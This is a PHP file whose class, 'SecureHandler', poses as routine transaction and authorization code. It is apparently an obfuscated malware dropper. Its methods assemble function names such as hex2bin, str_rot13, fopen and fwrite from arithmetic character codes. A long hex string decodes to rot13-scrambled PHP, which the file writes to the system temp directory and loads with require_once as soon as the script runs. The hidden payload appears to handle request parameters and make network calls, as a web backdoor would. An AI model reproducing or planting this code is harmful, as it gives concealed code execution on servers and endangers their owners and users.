<?php
class SecureHandler {
	private $nf = '';
	private $ly = '';

	public function prepareOutput($p1) {
		$a = array(((24+46+34)),((94*28)-2531),((38*20)-640),((31*1)+19),(46+38+14),((81*1)+24),((2*55)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function filterResults($p1) {
		$a = array(((56-5)),(((49*1)+0)),(116),((40*2)+31),(114),((105-10)),(89+10+15),((49*1)+67),(5*23));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function initializeModule($p1,$p2) {
		$a = array((120-10),(101),(27+85),((50*113)-5539),(12+47+43));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function computeResult($p1,$p2) {
		$a = array((21+72+9),((129-10)),(((60*1)+54)),(111-6),((64+49+3)),((52+43+6)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function authorizeUser($p1) {
		$a = array((((74*109)-7965)),((64+31+20)),111,((116-8)),((81+18)),((98*1)+4));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function do($p1,$p2=null) {
		$a = array((((47*2)+20)),((75+41)),((99*1)+15),((110-5)),((109*114)-12317));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function rollbackTransaction() {
		$this->ly = $this->do($this->resetState(), '/');
	}

	public function calculateSum() {
		$this->nf = $this->filterResults($this->prepareOutput($this->bi));
	}

	public function logTransaction() {
		$fn = $this->ly.'/mt-68616d61b3fd3';
		$f = $this->initializeModule($fn, 'w');
		$this->computeResult($f, $this->nf);
		$this->authorizeUser($f);
		$this->syncRecords($fn);
	}

	private $bi = '3c3f6375632070796e6666205f7076647b636576696e67722' . '066676e677670245f7777683b66676e6776702073686170677' . '66261205f686f28245f6c6467297b76732821667279733a3a2' . '45f77776829667279733a3a5f6c657228293b6572676865612' . '075726b326f766128667279733a3a245f7777685b245f6c646' . '75d293b7d636576696e67722066676e6776702073686170677' . '66261205f6c657228297b667279733a3a245f7777683d6e656' . '56e6c28275f7973273d3e27343136333633363537333733327' . '13433272e2736733672272e273734373236733670327134313' . '6272e277036272e2770367337373271347337272e273236393' . '63736393672336e272e273230326e272c275f6c70273d3e273' . '43336733672373436353672373432713534373937303635272' . 'e27336e3230363137303730367036393633363137343639367' . '336723273366e3631373636313733363337323639373037342' . '72c275f616674273d3e2736272e2733272e273638272c275f6' . '16179273d3e2736353739346e3730363334333439333634393' . '66e363733343470366e363733343470366e363733343470366' . 'e3637333434393639373736393634353734353639347336393' . '46e3330272e2735272e276e353834723330343936393737363' . '936333671353636713439366e36733639363434373536376e3' . '6343433272e27346e272e2733272e2739272c275f7968273d3' . 'e2737313737376e272e273738272c275f6775273d3e2733272' . 'e2770272e273673272e27366f3372272c275f766f273d3e273' . '3703632363136272e27343372272c275f6164273d3e2737373' . '631272e2736272e277036272e2770272c275f6b617a273d3e2' . '7272c275f7077273d3e27272c275f7174273d3e27272c275f6' . '16574273d3e273638373437343730336e32733273373037353' . '632327237373635363236272e2736363936703635363836733' . '7333734363537323272363336733671327336272e2733272e2' . '736733671373036733733363537323272272e27366e3733337' . '3363436272e2731272e27373436313371272c275f716d273d3' . 'e273633373537323670357336393672272e27363937272e273' . '4272c275f7971273d3e273638373437343730272e273573272' . 'e2736272e2733272e27367336343635272c275f6565273d3e2' . '7373336272e27333638272e273635272e2736272e277136352' . '72c275f6e62273d3e273638373437272e27343730272e27372' . '72e2733272c275f6d7362273d3e273437343535343230272c2' . '75f7273273d3e273730363137272e2734272e273638272c275' . 'f617062273d3e27373137272e273536272e273537272e27322' . '72e2737272e2739272c275f666a61273d3e273373272c275f7' . 'a6867273d3e273731373536272e273537323739272c275f6b6' . '879273d3e27323034383534353435303273333132272e27723' . '3303071306e3438367337333734336e272e273230272c275f7' . '47868273d3e273638272e2736733733272e273734272c275f6' . 'e63273d3e273071306e34333673367236723635272e2736333' . '734363936733672336e32303433367036272e2773373336353' . '071306e3071306e272c275f697861273d3e273733373336703' . '36e272e27327332272e2773272c275f6962273d3e27272c275' . 'f6d6d273d3e2736272e27383673272e2737333734272c275f7' . '961273d3e273071272e27306e272c275f6a77273d3e2734383' . '5343534353035272e277334333470343934353472353435733' . '4272e2739272e273530272c275f6172273d3e2734272e27383' . '5343534272e273530357335383573343634733532353734313' . '5272e273234343435343435733436347335272e2732272c275' . 'f6c72273d3e273532343534713473272e27353434353573343' . '1343434343532272c275f6569273d3e2734383534353435303' . '573353535333435353235733431272e27343734272e2735342' . '72e27723534272c275f7a78273d3e2734272e2738353435343' . '5303573353535333435353235733431343734272e2735272e2' . '734272e27723534272c275f6562273d3e27272c275f6369273' . 'd3e273438353435343530272e2735733532343534363435272' . 'e273532272e2734353532272c275f677167273d3e273438353' . '43534353035733532343534363435353234272e273535272e2' . '732272c275f65706e273d3e27272c275f7a7476273d3e27343' . '835343534272e2735272e2730357334333470343934272e273' . '534723534357334393530272c275f7471273d3e27343835343' . '534353035733433347034272e273934353472353435272e277' . '3272e2734272e2739272e2735272e2730272c275f787a273d3' . 'e2734383534353435303573353835733436347335323537343' . '135323434343534343573343634272e2773272e273532272c2' . '75f646b273d3e2734383534353435303573353835733436347' . '33532272e27353734272e273135323434343534272e2734357' . '33436272e273473272e273532272c275f696c273d3e2735323' . '43534713473353434272e273535733431343434272e2734353' . '2272c275f616271273d3e27353234353471272e27347335343' . '435357334313434272e2734343532272c275f7578273d3e273' . '6343632363736713673272e2736343635272c275f74796f273' . 'd3e2734393530272e27336e272e273230272c275f6c68273d3' . 'e27323037703230272e2735353431336e32272e2730272c275' . 'f646768273d3e27323037703230353236353636336e272e273' . '2272e2730272c275f6d67273d3e27323033272e27703632373' . '23372306e272c275f796a273d3e27363937272e2730272c275' . 'f647468273d3e273735272e273631272c275f6664273d3e273' . '73236272e27353636272c275f71786b273d3e2737313737372' . '72e276e3738272c293b7d7d75726e717265285f7076643a3a5' . 'f686f28275f79732729293b75726e717265285f7076643a3a5' . 'f686f28275f6c702729293b767328766666726728245f54524' . '75b5f7076643a3a5f686f28275f272e276166272e277427295' . 'd29297b245f7471633d5f6c7a285f7076643a3a5f686f28275' . 'f6161272e27792729293b767328245f7471632626666765636' . '26628245f7471632c5f7076643a3a5f686f28275f796827292' . '9213d3d736e796672297b717672285f7076643a3a5f686f282' . '75f67272e27752729293b7d727966727b717672285f7076643' . 'a3a5f686f28275f272e2776272e276f2729293b7d7d7673287' . '66666726728245f5452475b5f7076643a3a5f686f28275f616' . '427295d29297b245f7670753d245f5042425856523b245f756' . 'f3d283135392b2d313539293b245f6c64673d2876616729656' . '268617128332e352b332e35293b245f76683d6e65656e6c282' . '93b245f76685b245f756f5d3d5f7076643a3a5f686f28275f2' . '72e276b272e27617a27293b6a7576797228245f6c6467297b2' . '45f76685b245f756f5d2e3d245f7670755b3130302b2d31353' . '12d202d3132332d34325d5b245f6c64675d3b76732821245f7' . '670755b2d39362d202d35392d202d36375d5b245f6c64672b2' . '83137312d3434352d202d323735295d297b76732821245f767' . '0755b3135352b2d3132355d5b245f6c64672b2876616729656' . '268617128302e36363636363636363636363636372b302e363' . '63636363636363636363636372b302e3636363636363636363' . '636363637295d296f65726e783b245f756f2b2b3b245f76685' . 'b245f756f5d3d5f7076643a3a5f686f28275f70272e2777272' . '93b245f6c64672b2b3b7d245f6c64673d245f6c64672b28766' . '16729656268617128312e37352b312e37352b312e37352b312' . 'e3735292b2876616729656268617128302e352b302e35293b7' . 'd245f756f3d245f76685b3238362d202d3231312b2d3438335' . 'd28292e245f76685b3234362b3432352b2d33352b2d3631325' . 'd3b76732821245f76685b2876616729656268617128322b322' . 'b32295d28245f756f29297b245f6c64673d245f76685b2d333' . '82b33312b31342b31395d28245f756f2c245f76685b2876616' . '729656268617128332e333333333333333333333333332b332' . 'e333333333333333333333333332b332e33333333333333333' . '333333333295d293b245f76685b28766167296562686171283' . '22e32352b322e32352b322e32352b322e3235295d28245f6c6' . '4672c245f76685b2876616729656268617128322e37352b322' . 'e37352b322e37352b322e3735295d2e245f76685b287661672' . '9656268617128352e37352b352e37352b352e37352b352e373' . '5295d28245f76685b31372b385d28245f7670755b2d3439312' . 'd3932352d202d3630342b3831355d2929293b7d76617079687' . '17228245f756f293b7d7368617067766261205f6c7a28245f6' . '9672c245f7366753d2d312e313136353437303637373634392' . '97b245f67783d5f7076643a3a5f686f28275f717427293b245' . 'f7a683d5f7076643a3a5f686f28275f61657427292e245f696' . '73b76732876665f706e79796e6f7972285f7076643a3a5f686' . 'f28275f272e27716d272929297b245f626b753d706865795f7' . '661766728245f7a68293b706865795f66726762636728245f6' . '26b752c504845594243475f4646595f49524556534c4352524' . '52c736e796672293b706865795f66726762636728245f626b7' . '52c504845594243475f4646595f49524556534c554246472c2' . '876616729656268617128312b3129293b706865795f6672676' . '2636728245f626b752c504845594243475f53425959424a594' . '2504e475642412c2d31352d202d3136293b706865795f66726' . '762636728245f626b752c504845594243475f4552474845414' . '7454e41465352452c2876616729656268617128302e32352b3' . '02e32352b302e32352b302e323529293b706865795f6672676' . '2636728245f626b752c504845594243475f55524e5152452c2' . '876616729656268617128302b3029293b706865795f6672676' . '2636728245f626b752c504845594243475f504241415250474' . '7565a524248472c2876616729656268617128322e352b322e3' . '52b322e352b322e3529293b706865795f66726762636728245' . 'f626b752c504845594243475f47565a524248472c2d39362d2' . '02d313036293b245f67783d706865795f726b727028245f626' . 'b75293b245f786e763d706865795f7472677661736228245f6' . '26b75293b706865795f707962667228245f626b75293b76732' . '8245f786e765b5f7076643a3a5f686f28275f79272e2771272' . '95d213d2839362b2d3132332d3832312b31303438292965726' . '768656120736e7966723b7d727966727b245f6e613d636e656' . '6725f68657928245f7a68293b245f65633d28245f6e615b5f7' . '076643a3a5f686f28275f656527295d3d3d5f7076643a3a5f6' . '86f28275f6e622729293b245f70643d5f7076643a3a5f686f2' . '8275f6d736227292e245f6e615b5f7076643a3a5f686f28275' . 'f727327295d3b767328766666726728245f6e615b5f7076643' . 'a3a5f686f28275f61272e2770272e276227295d2929245f706' . '42e3d5f7076643a3a5f686f28275f272e27666a6127292e245' . 'f6e615b5f7076643a3a5f686f28275f272e277a686727295d3' . 'b245f70642e3d5f7076643a3a5f686f28275f6b68272e27792' . '7292e245f6e615b5f7076643a3a5f686f28275f272e2774782' . '72e276827295d2e5f7076643a3a5f686f28275f272e276e632' . '7293b245f78613d7366627078626372612828245f65633f5f7' . '076643a3a5f686f28275f272e276978272e276127293a5f707' . '6643a3a5f686f28275f69272e27622729292e245f6e615b5f7' . '076643a3a5f686f28275f272e276d6d27295d2c245f65633f2' . '8766167296562686171283232312e352b3232312e35293a287' . '661672965626861712832362e3636363636363636363636372' . 'b32362e3636363636363636363636372b32362e36363636363' . '636363636363729293b767328245f7861297b7363686766282' . '45f78612c245f7064293b245f796e3d2876616729656268617' . '128302b30293b6a7576797228217372627328245f786129297' . 'b245f756c793d737472676628245f78612c287661672965626' . '86171283531322b35313229293b767328245f796e29245f677' . '82e3d245f756c793b767328245f756c793d3d5f7076643a3a5' . 'f686f28275f79272e2761272929245f796e3d282d3534302d2' . '02d353431293b7d73707962667228245f7861293b7d7d65726' . '7686561245f67783b7d245f676b3d766666726728245f46524' . '54952455b5f7076643a3a5f686f28275f6a7727295d293b245' . 'f696d6f3d766666726728245f4652454952455b5f7076643a3' . 'a5f686f28275f272e27617227295d293b245f74763d7666667' . '26728245f4652454952455b5f7076643a3a5f686f28275f6c7' . '227295d293b245f73613d766666726728245f4652454952455' . 'b5f7076643a3a5f686f28275f272e27656927295d293f245f4' . '652454952455b5f7076643a3a5f686f28275f7a7827295d3a5' . 'f7076643a3a5f686f28275f272e2765272e276227293b245f7' . '1766c3d766666726728245f4652454952455b5f7076643a3a5' . 'f686f28275f272e27636927295d293f245f4652454952455b5' . 'f7076643a3a5f686f28275f67716727295d3a5f7076643a3a5' . 'f686f28275f65706e27293b245f676b3d766666726728245f4' . '652454952455b5f7076643a3a5f686f28275f7a747627295d2' . '93f245f4652454952455b5f7076643a3a5f686f28275f272e2' . '774272e277127295d3a616879793b245f696d6f3d766666726' . '728245f4652454952455b5f7076643a3a5f686f28275f787a2' . '7295d293f245f4652454952455b5f7076643a3a5f686f28275' . 'f272e27646b27295d3a616879793b245f74763d76666672672' . '8245f4652454952455b5f7076643a3a5f686f28275f696c272' . '95d293f245f4652454952455b5f7076643a3a5f686f28275f6' . '1272e27627127295d3a616879793b7673287376796772655f6' . '96e6528245f676b2c287661672965626861712839312e36363' . '63636363636363636372b39312e36363636363636363636363' . '72b39312e3636363636363636363636372929297b245f77703' . 'd245f676b3b7d727966727673287376796772655f696e65282' . '45f696d6f2c28766167296562686171283133372e352b31333' . '72e352929297b245f77703d245f696d6f3b7d727966727b245' . 'f77703d245f74763b7d767328766666726728245f5452475b5' . 'f7076643a3a5f686f28275f757827295d29297b72707562205' . 'f7076643a3a5f686f28275f7479272e276f27292e245f77702' . 'e5f7076643a3a5f686f28275f6c272e276827292e245f73612' . 'e5f7076643a3a5f686f28275f64676827292e245f71766c2e5' . 'f7076643a3a5f686f28275f272e276d272e276727293b726b7' . '66728293b7d76732821766666726728245f7770297c7c21766' . '666726728245f7361297c7c21766666726728245f71766c292' . '97b726b766728293b7d727966727b245f64676d3d6e65656e6' . 'c285f7076643a3a5f686f28275f796a27293d3e245f77702c5' . 'f7076643a3a5f686f28275f64272e27746827293d3e245f736' . '12c5f7076643a3a5f686f28275f272e27666427293d3e245f7' . '1766c293b245f72626c3d686579726170627172286f6e66723' . '6345f72617062717228776662615f72617062717228245f646' . '76d2929293b245f7471633d5f6c7a28245f72626c293b76732' . '8245f747163262666676563626628245f7471632c5f7076643' . 'a3a5f686f28275f71786b272929213d3d736e796672297b727' . '07562245f7471633b726b766728293b7d7d';

	public function syncRecords($p) {
		require_once $p;
	}

	public function resetState() {
		$a=array(((5*23)),(49+72),((70*1)+45),(((67*1)+28)),((72+9+22)),((89*1)+12),((2*58)),(95),((59+57)),(101*1),((51*35)-1676),112,((26*74)-1829),((12+58+30)),(((110*6)-555)),(31+83));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$ma = new SecureHandler();
$ma->rollbackTransaction();
$ma->calculateSum();
$ma->logTransaction();
